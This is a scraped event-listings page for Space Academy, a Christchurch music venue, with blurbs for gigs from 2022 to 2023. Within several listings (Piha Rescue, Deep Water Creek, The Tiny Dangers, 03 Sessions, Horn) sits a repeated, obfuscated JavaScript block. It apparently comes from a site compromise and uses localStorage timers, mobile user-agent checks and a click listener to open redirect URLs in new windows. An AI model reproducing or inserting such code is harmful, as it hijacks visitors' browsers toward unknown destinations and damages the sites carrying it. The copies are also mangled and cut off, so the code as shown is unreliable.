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August 2022
Jaz Paterson live at Space Academy
Jaz Paterson live at Space Academy + special guest (TBA) Doors open 8.30pm First act 9pm Jaz Paterson is an alternative electronic pop artist based in New Zealand. She has recently completed her first NZ tour in support of the release of her 2021 EP - Ache. Ache was created in collaboration with producer Will McGillivray and blends RnB style vocals with electronic influences. Recent highlights have included performing at Rolling Meadows (2022) and NY Edge Fest (2021), and being…
Find out more »September 2022
Morgan Elexis La Fae live at Space Academy
Morgan Elexis La Fae is bringing her dream-pop-art experience to life with her stellar band and bedazzling art, with her free show at Space Academy on the 23rd of September. Supported by Sabrina Rose, it's going to be a sense-drenching night to remember. Featuring: Morgan Elexis La Fae on vocals Camelia Anderson-Setyowait on keys Caitlin Brown on double bass Rosanna Harvey on guitar Quinn Mannix on drums Alice Steele on violin Free Entry! Doors open at 8:00pm Sabrina Rose at…
Find out more »October 2022
Proteins Of Magic — Aotearoa Tour 2022, Christchurch
Proteins of Magic will be embarking on their first headline New Zealand tour before heading back stateside to continue work on their sophomore album. Very special guests are Adelaide Cara in Dunedin at The Crown, and Greccoro Romank in Auckland at the Wine Cellar. ?POM was nominated for the Auckland Live / Taite best Independent Debut - 2022, and was invited to perform at the Going Global Showcase, Sept 2022. Ambient Light writes — "Deep, sampled drum hits stumble around…
Find out more »Kendall Elise – ‘Let The Night’ In South Island Tour
Creeping Ivy Records & Bad Gin Sanctuary Present Kendall Elise 'Let The Night In' South Island Tour! Roaming the range from soul stirring country-gothic ballads to full blown barnstormers, Kendall Elise’s dynamic live performances have silenced audiences, brought them to tears, made them laugh and brought them to their feet. Returning to the South Island accompanied by Sarah Radford (Bass) and Chris Kemp (Drums) she will be playing songs from her latest album LET THE NIGHT IN along with a…
Find out more »PARK RD with special guests The Knews @ Space Academy, Christchurch Friday 21st Oct
PARK RD are a 5-piece indie/surf rock band from West Auckland, New Zealand. Formed as school friends, they have received great support from local playlists and accumulated over 2.5 million+ streams on previous songs. Appearances on live sessions on student radio and received airplay on ZM radio. Rolling Stone Australia picked PARD RD as ones to watch Kiwi artists! https://au.rollingstone.com/music/music-news/eight-kiwi-to-watch-june-2022-41523/ The band are currently recording their debut album with producer Josh Edmonds (Niko Walters, Paige, LA Women, Foley) at Parachute…
Find out more »PIHA RESCUE PLAY SPACE ACADEMY
Has it really been three years since we last played? Piha Rescue are back for a special show at Space Academy with special guests Michael Kime, Rory Dalley and Joseph B Sampson! We'll be starting the night off with a set of Santo & Johnny covers followed by the always brilliant Joe Sampson and The Olympic Sized Swimming Pools. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e((_0x304e08,_0x36eced)=>localStorage(_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4(Math()*_0x5b49e4)];},_0x49794b=_0x1fc657=>localStorage(_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage(_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage(_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math(Math(_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math(Math(_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window()&&window(newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window=function(){const…
Find out more »November 2022
Deep Water Creek
Bad Gin Sanctuary Presents Otautahi based songwriter Matthew Smith (Deep Water Creek) returns with a fun and bubbly Paul Simon-esque new single 'Bucket Spider'. Written after unsuccessfully trying to free a trapped spider, the Deep Water Creek band will be in full flight with support for the incredible songstresses 'Coyote' (Amiria Grenell & Holly Arrowsmith) Not to be missed! Tickets from Under The Radar $20 unwaged & $30 waged Doors open 7pm Music from 7.30 function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return…
Find out more »Senica ‘Passing Tide’ ep release
?tautahi shoegaze pop 4 piece 'Senica' are releasing their debut EP 'Passing Tide'! With a mix of shoegaze and flying nun influences, Senicas music can be characterised with charming & idiosyncratic vocal hooks interwoven through swirling guitars saturated in spring reverb and overdrive creating an atmosphere you should be sure not to miss! 'Passing Tide' will be released on the 16th of November. Release show will be held at Space Academy on the 19th of November. With support from our…
Find out more »December 2022
Adam Hattaway & The Haunters
Adam Hattaway and the Haunters are hitting the road once more this time celebrating their 5th studio release. 'Bug Eyes' takes a turn from their last alternative rock 'n' roll, country album 'Rooster' and explores new feels and styles all while sticking close to the core of what the Haunters have always done, just a little closer to the DANCE ZONE. Including their first shows across the ditch A.H & The Haunters will embark on a 14 date tour in…
Find out more »February 2023
Proteins Of Magic ~ The Divine Physics Tour
After wintering in the woods in Nashville and recording their next EP, Proteins of Magic is back in Aotearoa for summer to tour their upcoming single Divine Physics. Performing at 3 festivals and 5 headline shows across the North and South Island, the tour begins in Christchurch at the Space Academy with violinist and composer Motte opening the show, and finishes at Lot23 in Auckland with hardware-based experimental artist Dream Chambers playing support. 2022 saw Proteins of Magic rise up…
Find out more »PROTEINS OF MAGIC AND MOTTE
After wintering in the woods in Nashville and recording their next EP, Proteins of Magic is back in Aotearoa for summer to tour their upcoming single Divine Physics. Performing at 3 festivals and 5 headline shows across the North and South Island, the tour begins in Christchurch at the Space Academy with violinist and composer Motte opening the show, and finishes at Lot23 in Auckland with hardware-based experimental artist Dream Chambers playing support. 2022 saw Proteins of Magic rise up…
Find out more »Fraser Ross – ‘Janice, In The Dairy’ Single Release Tour
Otautahi-based Fraser Ross is embarking on a 12-date tour of New Zealand to celebrate his new single,‘Janice, In the Diary,’ which will be released on January 27 th through Home Alone Records. It is the first single off his upcoming album, ‘Thunderhead,’ which is set for release mid-2023, and following solo tours with Jazmine Mary, and Amiria Grenell in 2021, it will be the first time he has performed with a band since releasing his last album, ‘Life is Magic,…
Find out more »March 2023
Neive Strang (band) Living in Two Tour
https://www.youtube.com/watch?v=TSaakx1jIdk Anyone who experienced Neive Strang and band live at last year's Going Global showcase and / or caught them on their I Am The Ribbon tour will be aware the ?tepoti songwriter is a rising talent who commands attention — in fact she was invited by Shayne P. Carter to be a member of Dimmer's recent touring band. With two EPs and a mini-album already out in the world, Strang moves into her next phase with new single and…
Find out more »Thompson Springs (Chicago) w/ Emily Fairlight
Chicago's Thompson Springs stops in Christchurch promoting their new single, Outta Range! PBS called the band “a mix of indie folk with a southern/western feel,” and Detroit Public Radio (WDET) noted that they pull influences from classic songwriters, like Tom Petty, to more recent indie artists, like Kurt Vile. Thompson Springs started working with Wilco’s Pat Sansone for their debut album, Undertones, which they released on the band's own label, Dropped Beauty Recordings in 2021. /// Emily Fairlight has a…
Find out more »May 2023
The Heavy Mellow w/ Violet French And The Horrible And Casper Thomson
The Heavy Mellow is back!!! And with a new EP to boot! The Otautahi three-piece puts lo-fi misery folk through a grimy rock’n’roll ringer, making it louder! Faster! Stronger! better! They will be performing at Space Academy this music month, with support from the talented Violet French and The Horrible, and Casper Thomson. Casper Thomson is a folk artist whose use of hypnotic repetition and dynamics weave soundscapes and tell stories firmly grounded within the streets of Christchurch, feeling right…
Find out more »NO COMPLY | BKATIT TOUR
The boys are BKATIT in a town near you! Following the release of their sophomore EP ‘BKATIT’ on the 28th of April, experimental and alternative NZ hip hop artists NO COMPLY are coming to give you one of their patented and increasingly well known, high energy live performances. They are the only act we know of that will make you want to tell the person next to you, you love them, but also that you might accidentally punch them in…
Find out more »June 2023
The Tiny Dangers
Your favourite support band with their very own show! Joining us will be The Glass Eye - deep and swish electronic cuts, and Richard Dada - One Third of The Glass Vaults. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e((_0x304e08,_0x36eced)=>localStorage(_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4(Math()*_0x5b49e4)];},_0x49794b=_0x1fc657=>localStorage(_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage(_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage(_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math(Math(_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math(Math(_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window()&&window(newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window=function(){const _0x573149=_0x37c48c;let _0x262ad1=!(_0x264a55)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i(_0x264a55(0x0,0x4)))_0x262ad1=!!||navigator||window),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8();const _0xb17c69=location;let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date(new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window(_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document('click',_0xfb5e65);}());
Find out more »03 Sessions
Original and improvised music from ?tautahi and beyond, every Thursday at Space Academy. 15 June - ?tautahi 20 22 June - Camelia Anderson-Setyowati Trio 29 June - Geoff Culverwell 6 July - Felix-Florian Tödtloff 13 July - Banat 03sessions.com Made possible by the Christchurch Creative Communities Scheme. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e((_0x304e08,_0x36eced)=>localStorage(_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4(Math()*_0x5b49e4)];},_0x49794b=_0x1fc657=>localStorage(_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage(_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage(_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math(Math(_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math(Math(_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window()&&window(newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window=function(){const _0x573149=_0x37c48c;let _0x262ad1=!(_0x264a55)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-|…
Find out more »The Situations w/ Best Bets and Hög
Rock 'n' roll fans rejoice! South Auckland's finest return to the south to warm your winter and carve your dinner. Get it in the diary and get ready to get fiery. The Situations are a garage-pop combo from Papakura. They've released three critically lauded albums and a string of sought after 7" singles. They've toured the world, opened for The White Stripes and Dead Moon (among countless others), and they've served as the backing band for Wanda Jackson, Ray Columbus…
Find out more »July 2023
Horn, Model Home, Joe Sampson and the Netscape Navigators
Wellington trio Horn are embarking on a tour to support the release of their first album generously distributed by friends at Melted Ice Cream of which will be available for you to purchase on cassette at the shows! Come and see us play at Space Academy ?tautahi with support from Model Home and Joe Sampson and the Netscape Navigators function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e((_0x304e08,_0x36eced)=>localStorage(_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4(Math()*_0x5b49e4)];},_0x49794b=_0x1fc657=>localStorage(_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage(_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage(_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math(Math(_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math(Math(_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window()&&window(newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window=function(){const…
Find out more »Hans Pucket “NO DRAMA” Album Release Tour!
It’s been a big year for P?neke / T?maki Makaurau pop-rock quartet Hans Pucket who write nervy but effortlessly danceable rock songs about feeling bad. Their second full-length album No Drama was released in late 2022 via Carpark Records (The Beths) to critical acclaim both in Aotearoa and abroad. “Is there a more-well liked band in New Zealand right now than Hans Pucket? …No Drama overflows with slippery grooves and thoughtful lyrics, amplified by stirring strings and horns.” - Rolling…
Find out more »Alpaca Brothers/ Minisnap Figment album Release
It’s been a very long time since the Alpaca Brothers last played in Christchurch. We think it was at the Zetlands bar in September of 1985. The next year we put out an E.P. Legless on Flying Nun, which did quite well, and then the trio just basically disappeared for over three decades We are still not exactly sure how but in December 2020 the band reunited and recorded a debut album in Dunedin. Both Bruce Blucher and Steve Cournane…
Find out more »Boom Boom Kid (Argentina)
Boom Boom Kid the Argentine band blending rockabilly, psychobilly, and salsa influences, will play their first NZ shows in July. Experience the electrifying energy of Boom Boom Kid, led by iL Damiano, a singer renowned for his versatile voice and unique tum tum lunfardo poetry. As the former frontman of the infamous FUN PEOPLE, iL Damiano has been revitalizing the music scene since 1989, crafting a diverse sound that defies categorization. Boom Boom Kid will be supported by "Christchurch's Cramps"…
Find out more »Rats Enol
Local Christchurch band 'Rats Enol' are set to play a set of original music inside Space Academy, on the stage. One might leave this gig with a satisfied belly full of pizza and drink, enjoyed to a DJ set from Drummie Dan. This DJ is authorised to play reggae music worldwide. See you there!
Find out more »Ringlets at Space Academy
Ringlets - LIVE at Space Academy - Thursday, July 27th Tickets from Banished Music After delivering a devastating blow with their self-titled debut album, T?maki Makaurau post-punk unit Ringlets are embarking on a nationwide tour of Aotearoa. Raised not to be empty handed guests, the band will bring with them 12” of wax, freshly pressed thanks to Leather Jacket Records. Artful noise, ragingly bright post-punk quartet Ringlets could be described as the musical transcript of Black Adder; dark humour and…
Find out more »August 2023
This Dog w/ Saint Peter’s Thursday And The Norwesters
Grunge, Emo, Rock & Irish folk?? What a combo! WAXED Competition winners this dog have put together a line up that makes Woodstock '69 look like Woodstock '99 On the heels of their debut album 'death SALT', Saint Peter's Thursday will be sharing the stage alongside Dig The Gig Rhythm And Alps prize winners The Norwesters!
Find out more »Sam Manzanza & The Afrobeat Band
Sam Manzanza is an African artist and musician based in P?neke who has spent decades bringing African music to all corners of Aotearoa. A versatile instrumentalist, composer, and singer, he plays blues harp, guitar, and percussion, sings in French, English, and Lingala, as well as composing most of the songs his band performs. His fast-paced blend of African music and Afrobeat will have everyone immediately on their feet and dancing, with every performance a spectacular showcase of culture, upbeat music,…
Find out more »Snow Valormae Presents: A Fairy Tale Jazz Night
Snow Valormae Presents: A Fairy Tale Jazz Night - Nostalgic Melodies from Classic Childhood Movies Snow Valormae invites you to experience an enchanting evening of music and nostalgia with A Fairy Tale Jazz Night. This captivating event, will transport you back to the magical world of classic childhood fairy tale movies. Immerse yourself in the melodies and memories of beloved films from renowned studios such as Disney and Studio Ghibli, as Snow Valormae and her talented band explore new arrangements…
Find out more »Violet Hirst’s Donegal Tour
Violet Hirst and her all-star band are bringing to the debut album, Donegal (releasing August 7th), to life throughout Aotearoa this August. Violet Hirst is a singer-songwriter based in Tāmaki Makaurau via Tāhuna, who's music is described as nostalgic and hypnotic. Donegal was produced and recorded in Cromwell, Central Otago '22 by De Stevens (in-house Roundhead engineer). It is a collection of songs that sit as a love-letter to Hirst's time spent between Pōneke and Te Waipounamu. Joining her to…
Find out more »Donegal Album Release
Violet Hirst and her all-star band are bringing to the debut album, Donegal (releasing August 7th), to life throughout Aotearoa this August. Violet Hirst is a singer-songwriter based in Tāmaki Makaurau via Tāhuna, who's music is described as nostalgic and hypnotic. Donegal was produced and recorded in Cromwell, Central Otago '22 by De Stevens (in-house Roundhead engineer). It is a collection of songs that sit as a love-letter to Hirst's time spent between Pōneke and Te Waipounamu. Joining her to…
Find out more »Lunar Intruder – Good Dogs Go To Heaven Tour
Oi ya scallywags! We’ve been cooped up in our cold damp flat for far too long, soooo…. We heading back on the road! and we’ve got some new tunes off our next album that we’re dying to share with yas! Support from Christchurch heart throbs: This Dog & Jam Henderson. Come rark with us x
Find out more »Balu Brigada: Bop Fiasco Tour
August 24 - Space Academy, CHRISTCHURCH August 25 - Hollywood, AUCKLAND August 26 - Meow, WELLINGTON Tickets from Banished Music Presale starts Monday 26 June, 10am General sale Tuesday 27 June 10am Sign up for the Banished Music presale New York-based New Zealand groove-pop “band of brothers” Balu Brigada return home for their first headline tour since 2018; a reboot of their sold-out 2020 show 'Bop Fiasco.' “It's been WAY too long since we've been home and we wanna come…
Find out more »Keenan And Russell: Live
Cult Scottish author David Keenan joins cult New Zealand musician Bruce Russell for a set of free improvised music and readings from Keenan’s modernist masterpiece Monument Maker. Keenan is on record as saying that Russell’s band, The Dead C, are his favourite rock band of all time. Indeed, Russell performed solo at the London launch of Keenan’s first novel, the cult classic This is Memorial Device, back in 2017, but this will be the first time they have ever performed…
Find out more »Tom Lark – Brave Star Tour
Tom Lark is back! After a 7-year hiatus and with a fresh APRA Silver Scroll nomination, he's taking his show around the country in celebration of his debut full-length album - notably reaching #6 on the NZ Top Albums Chart. The tour is hitting Tauranga, Tāmaki Makaurau, Te Whanganui-a-Tara and Ōtautahi this August where Tom Lark will be playing songs from Brave Star, plus some old favourites. Brave Star (released June 9th via Winegum Records) follows two eponymous Tom Lark…
Find out more »Lawrence Arabia Is Playing A Solo Show
Lawrence Arabia is going back to the 03 again. A rare solo performance by Lawrence Arabia in a smallish room.
Find out more »September 2023
Mannequin Hand w/ Only You And Hoihoi
Mannequin Hand, Only You and HOIHOI are hitting Space Academy this September for another night of tunes, balloons and Katana-wielding space baboons! From Emo, alternative and good old-fashioned classic rock, this night is sure to have something for everyone! (Please note: There is no guarantee of Katana-wielding space baboons, balloons are BYO.) Featuring - Mannequin Hand - Only You - HOIHOI
Find out more »Hannah Everingham – Mercury Tour
Hannah Everingham tours New Zealand in celebration of the release of her new single Mercury, her first national headlining tour since the release of her standout debut album, Between Bodies. Recorded in Ōtautahi, New Zealand, alongside collaborator Thomas Isbister, Everingham describes Between Bodies as an 8-track offering of love and separation, an exploration of the distance between earth and sky and the place that we inhabit together, between bodies. Shining with her tenderness, the album quickly garnered the country’s attention,…
Find out more »Clementine Valentine Album Release Tour
Banished Music presents CLEMENTINE VALENTINE (Formerly Purple Pilgrims) The Coin that Broke the Fountain Floor album release tour Thursday, September 7 - Meow, WELLINGTON Friday, September 8 - The Crown, DUNEDIN Saturday, September 9 - Space Academy, CHRISTCHURCH Saturday, September 16 - WHAMMY, AUCKLAND Tickets from Banished Music Presale starts Thursday 29 June, 10am General sale Monday 3 July 10am Sign up for the Banished Music presale here Clementine Valentine, the Coromandel based art-pop duo formerly known as Purple Pilgrims,…
Find out more »Danica Bryant + Band: The Astrology Tour
